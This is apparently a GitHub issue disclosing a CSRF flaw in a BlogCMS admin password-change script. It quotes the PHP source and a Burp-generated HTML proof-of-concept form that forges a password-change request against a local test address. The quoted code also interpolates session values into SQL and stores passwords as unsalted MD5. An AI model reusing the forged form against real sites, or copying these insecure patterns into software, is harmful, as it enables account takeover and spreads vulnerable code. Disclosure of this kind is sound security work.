New issue

Jump to bottom

There is a csrf vulnerability in changepass.php file #1

Open TGRBirdFlying opened this issue on Jun 24, 2020 · 0 comments

TGRBirdFlying commented on Jun 24, 2020 • edited

First,let's look at /BlogCMS-master/admin/changepass.php file.This file does not filter the "referer":

```
<?php
include("config.php");

 session_start();
    if(isset($_SESSION['ID']))
    {
      $email=$_SESSION['ID'];

    }
    else
    {
      $site= "<script type='text/javascript'>window.location='login.php'</script>";
        echo $site;
    }

$result = mysqli_query($db,"select *from users where email like '$email';");
$row = mysqli_fetch_assoc($result);
$originalpass=$row['Password'];

if(isset($_POST['submit']))
{
  $old=md5($_POST['oldpass']);
  $new=md5($_POST['newpass']);
  if($old==$originalpass)
  {
    $newsql="UPDATE users SET Password = '$new' WHERE email='$email'";
    if(mysqli_query($db, $newsql)){
      echo "Password Changed Successfully";
 header("Location:login.php");
 }else {
        echo "<script type='text/javascript'>alert('Error updating record: ".$mysqli_error($db)."')</script>";
}

  }
  else
  {
    echo "<script type='text/javascript'>alert('Invalid Password')</script>";
  }

}
?>
```

Second,I tested this with the Burp tool.
I left out the referer and I added the referer and it returns the same thing.


Third:I write a poc for this vulnerability:As follows:

```
<!doctype html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.8/BlogCMS-master/admin/changepass.php" method="POST">
<input type="hidden" name="oldpass" value="111111" />
<input type="hidden" name="newpass" value="222222" />
<input type="hidden" name="submit" value="CHANGE&#32;PASSWORD" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

finnally,After testing, the vulnerability exists.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant